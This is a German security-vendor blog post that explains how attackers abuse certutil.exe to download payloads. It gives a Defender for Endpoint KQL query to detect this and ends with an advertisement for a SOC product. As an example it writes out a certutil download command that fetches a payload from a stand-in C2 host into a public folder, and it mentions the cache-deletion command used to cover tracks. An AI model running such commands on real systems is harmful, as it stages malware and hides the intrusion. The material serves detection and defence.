Logo Akuity SOC
Akuity SOC
CYBERSECURITY
Identitätsverwaltung (Entra ID)

Certutil.exe-Missbrauch: T1105 mit Defender stoppen — Akuity SOC

5 min Lesezeit Akuity SOC · Delphisoft Deutschland

Erkennen Sie schädliche Downloads über certutil.exe (-urlcache -split) mit Defender for Endpoint und isolieren Sie Hosts über Akuity SOC.

Living-off-the-Land-Binärdateien (LOLBins) stellen für moderne Sicherheitsarchitekturen eine erhebliche Bedrohung dar. Angreifer nutzen vorinstallierte, digital von Microsoft signierte Systemkomponenten, um herkömmliche Application-Whitelisting-Mechanismen auszuhebeln. Unter diesen Werkzeugen sticht das Dienstprogramm certutil.exe hervor, das regulär zur Verwaltung von Zertifizierungsstellen und Zertifikatsspeichern dient, jedoch häufig für MITRE ATT&CK T1105 (Ingress Tool Transfer) missbraucht wird.

Angriffsanatomie: Payload-Download via Zertifikatstool

Historisch bedingt verfügt certutil.exe über eine native URL-Cache-Funktion, die über Befehlszeilenparameter wie -urlcache und -split gesteuert wird. Während Administratoren diese Flags nutzen, um Zertifikatssperrlisten (CRLs) herunterzuladen, missbrauchen Bedrohungsakteure diese Schnittstelle, um Schadsoftware wie C2-Agenten, bösartige DLLs oder Skripte aus dem Internet nachzuladen.

Ein typischer Angriffsvektor lautet wie folgt:
certutil.exe -urlcache -split -f https://c2-infrastructure.evil/payload.bin C:\Users\Public\updater.exe
Der Parameter -f erzwingt einen direkten HTTP/HTTPS-Abruf unter Umgehung des lokalen Cache. Da Verzeichnisse wie C:\Users\Public keine administrativen Schreibrechte erfordern, kann ein unprivilegierter Benutzer Schadcode unbemerkt auf dem Dateisystem ablegen.

Telemetrie & Toter Winkel in Defender for Endpoint

Da certutil.exe ein legitimer Systembestandteil in System32 ist, schlagen einfache dateibasierte Warnungen häufig fehl:

  • Vertrauenswürdige Binärreputation: Signaturprüfungen stufen den Prozessstart als unbedenklich ein, da das Zertifikat von Microsoft stammt.
  • Tarnung durch Umbenennung: Angreifer kopieren die Datei mitunter unter Pseudonymen wie svchost.exe oder winlogon.exe, wodurch einfache Filter auf FileName wirkungslos bleiben.

In Defender for Endpoint erfordert eine präzise Identifikation die Abfrage von DeviceProcessEvents, wobei ProcessVersionInfoOriginalFileName herangezogen werden muss. Gleichzeitig muss die extrahierte Zieladresse gegen echte PKI-Infrastrukturen validiert werden.

Erkennung mit Advanced Hunting (KQL)

Diese KQL-Abfrage filtert autorisierte PKI-Domänen und Dateiendungen heraus und deckt schädliche Download-Versuche gezielt auf:

let PkiExtensions = dynamic([".crl", ".crt", ".cer"]);
let TrustedRoots = dynamic(["microsoft.com", "digicert.com", "sectigo.com", "letsencrypt.org"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where ProcessVersionInfoOriginalFileName =~ "certutil.exe" or FileName =~ "certutil.exe"
| where ProcessCommandLine has_any("-urlcache", "-split", "-f") and ProcessCommandLine has_any("http://", "https://")
| extend TargetUrl = extract(@"(?i)(https?://[^\s""']+)", 1, ProcessCommandLine)
| extend RemoteHost = tostring(parse_url(TargetUrl).Host)
| extend UrlExtension = strcat(".", tostring(split(parse_url(TargetUrl).Path, ".")[-1]))
| where isnotempty(TargetUrl)
| where not(UrlExtension in~ (PkiExtensions))
| where not(RemoteHost has_any(TrustedRoots) or ipv4_is_private(RemoteHost))
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine, TargetUrl, RemoteHost, UrlExtension

SOAR-Remediation und Governance mit Akuity SOC

Wird eine verdächtige certutil-Aktivität erkannt, greifen die automatisierten Reaktionsketten von Akuity SOC:

  • Native Triage-Auflösung: Der In-App-KI-Assistent von Akuity SOC dekodiert obfuskierte Parameter und bewertet die Reputation der Ziel-URL in unter 2 Sekunden ohne Datentransfer an externe Decodierungsdienste.
  • Chirurgische SOAR-Reaktion: Sofortige Ausführung von blockIocOnTenant() zum mandantenweiten Sperren der C2-Domain und isolateDevice() zur Isolation des kompromittierten Endgeräts direkt aus der Beweismittelübersicht.
  • Zero-Trust-Governance: Sicherheitskritische Interventionen erfordern obligatorische MFA-AAL2-Bestätigung und werden in einem manipulationssicheren Prüfprotokoll nach NIS 2 und SOC 2 Type II auditiert.
Akuity SOC · 14 Tage Kostenlose TestversionLOLBin-Angriffe automatisiert neutralisieren:

Sperren Sie bösartige C2-Infrastrukturen und isolieren Sie betroffene Systeme in Sekundenschnelle mit den agentenlosen SOAR-Playbooks von Akuity SOC.

Starten Sie Ihren 14-tägigen kostenlosen Test (ohne Kreditkarte) →

Technische Mini-FAQ

Sollte certutil.exe generell über WDAC oder AppLocker blockiert werden?
Auf dedizierten Desktops ohne lokale Zertifikatsaufgaben ist dies möglich. In heterogenen Umgebungen führt ein pauschales Blockieren jedoch zu Fehlern bei automatischen S/MIME-Prüfungen oder administrativen AD CS-Aufgaben.

Wie verschleiern Angreifer den Download-Vorgang nach Ausführung?
Angreifer rufen oft direkt certutil -urlcache * delete auf, um temporäre WinINet-Cache-Einträge und Dateien im Temp-Verzeichnis zu löschen. Daher ist eine zentrale SIEM/EDR-Ereignisaufzeichnung unumgänglich.

Zugehörige Lösungsseite

Plateforme SOC & SOAR Microsoft

Automatisez votre détection et votre réponse aux incidents avec Akuity SOC.

Vollständige Lösung anzeigen